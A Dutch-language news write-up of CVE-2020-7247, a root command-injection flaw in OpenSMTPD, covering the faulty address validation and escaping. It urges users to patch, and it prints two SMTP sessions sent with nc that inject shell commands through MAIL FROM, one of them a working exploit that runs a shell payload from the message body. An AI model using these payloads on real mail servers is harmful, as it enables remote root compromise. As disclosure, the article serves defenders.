In het ontwikkelende OpenBSD project e-mailserver gedetecteerd (CVE-2020-7247), waarmee shell-opdrachten op de server op afstand met root-gebruikersrechten kunnen worden uitgevoerd. De kwetsbaarheid werd ontdekt tijdens een heraudit, uitgevoerd door Qualys Security (de vorige audit van OpenSMTPD in 2015, en de nieuwe kwetsbaarheid is aanwezig sinds mei 2018). Het probleem zit in de versie OpenSMTPD 6.6.2. Alle gebruikers wordt dringend aangeraden om de update onmiddellijk te installeren (voor OpenBSD kan de patch worden geĆÆnstalleerd via syspatch).
Twee aanvalsvormen zijn voorgesteld. De eerste vorm werkt in de standaardconfiguratie van OpenSMTPD (aanvragen uitsluitend van localhost) en stelt een aanvaller in staat om het probleem lokaal uit te buiten, wanneer deze toegang heeft tot de lokale netwerkinterface (loopback) op de server (bijvoorbeeld op hosting systemen). De tweede vorm doet zich voor wanneer OpenSMTPD is ingesteld om externe netwerkverzoeken te ontvangen (een e-mailserver die externe e-mail accepteert). Onderzoekers hebben een proof-of-concept exploit ontwikkeld, die succesvol werkt met zowel de OpenSMTPD variant van OpenBSD 6.6 als met de draagbare versie voor andere besturingssystemen (uitgevoerd in Debian Testing).
Het probleem wordt veroorzaakt door een fout in de functie smtp_mailaddr(), die wordt aangeroepen om de geldigheid van waarden in de velden 'MAIL FROM' en 'RCPT TO' te controleren, die de afzender/ontvanger definiëren en tijdens de verbinding met de e-mailserver worden verzonden. Voor het controleren van het deel van het e-mailadres dat vóór het '@' symbool komt, wordt in smtp_mailaddr() de functie
valid_localpart() aangeroepen, die de toegestane (MAILADDR_ALLOWED) tekens '!#$%&ā*\/^`{|}~+-=_', conformeert aan de eisen van RFC 5322.
Bij dit alles vindt directe escaping van de string plaats in de functie mda_expand_token(), die alleen de tekens '!#$%&ā*?`{|}~' (MAILADDR_ESCAPE) vervangt. De eerder voorbereide string in mda_expand_token() wordt vervolgens gebruikt bij het aanroepen van de bezorgagent (MDA) via het commando 'execle("/bin/sh", "/bin/sh", "-c", mda_command,ā¦'. Wanneer een e-mail in mbox wordt geplaatst via /bin/sh, wordt de string '/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}' gestart, waarbij de waarde '%{mbox.from}' de geescaped gegevens uit de parameter 'MAIL FROM' bevat.
De kern van de kwetsbaarheid is dat smtp_mailaddr() een logische fout bevat, waardoor bij het verzenden van een leeg domein in een e-mail, de functie een succesvolle verificatiecode teruggeeft, zelfs als het gedeelte van het adres vóór "@" ongeldige tekens bevat. Bij het voorbereiden van de tekenreeks door de functie mda_expand_token() worden niet alle mogelijke speciale shell-tekens geëscaleerd, maar alleen de speciale tekens die zijn toegestaan in het e-mailadres. Daarom is het voldoende om in het lokale gedeelte van de e-mail het teken ";" en een spatie te gebruiken, die niet in de MAILADDR_ESCAPE set zitten en niet worden geëscaleerd. Bijvoorbeeld:
$ nc 127.0.0.1 25
HELO professor.falken
MAIL FROM:<;sleep 66;>
RCPT TO:<root>
DATA
.
QUIT
Na deze sessie zal OpenSMTPD bij bezorging naar mbox een opdracht via de shell uitvoeren.
/usr/libexec/mail.local -f ;sleep 66; root
De mogelijkheden van de aanval zijn beperkt tot het feit dat het lokale gedeelte van het adres niet meer dan 64 tekens mag bevatten en dat de speciale tekens ā$ā en ā|ā worden vervangen door ā:ā tijdens het escapen. Om deze beperking te omzeilen, is gebruik gemaakt van het feit dat de inhoud van de e-mail wordt doorgegeven na het starten van /usr/libexec/mail.local via de invoerstroom; dat wil zeggen, door manipulatie van het adres kan alleen de command interpreter sh worden gestart en kan de inhoud van de e-mail als set instructies worden gebruikt. Aangezien de SMTP-headers aan het begin van de e-mail worden opgegeven, wordt voorgesteld om de read-opdracht in een lus te gebruiken om ze over te slaan. De werkende exploit ziet er ongeveer als volgt uit:
$ nc 192.168.56.143 25
HELO professor.falken
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
RCPT TO:<root@example.org>
DATA
#0
#1
ā¦
#d
for i in W O P R; do
echo -n Ā«($i) Ā» && id || break
done > /root/x.Ā»`id -u`Ā».Ā»$$Ā»
.
QUIT
Bron: opennet.ru
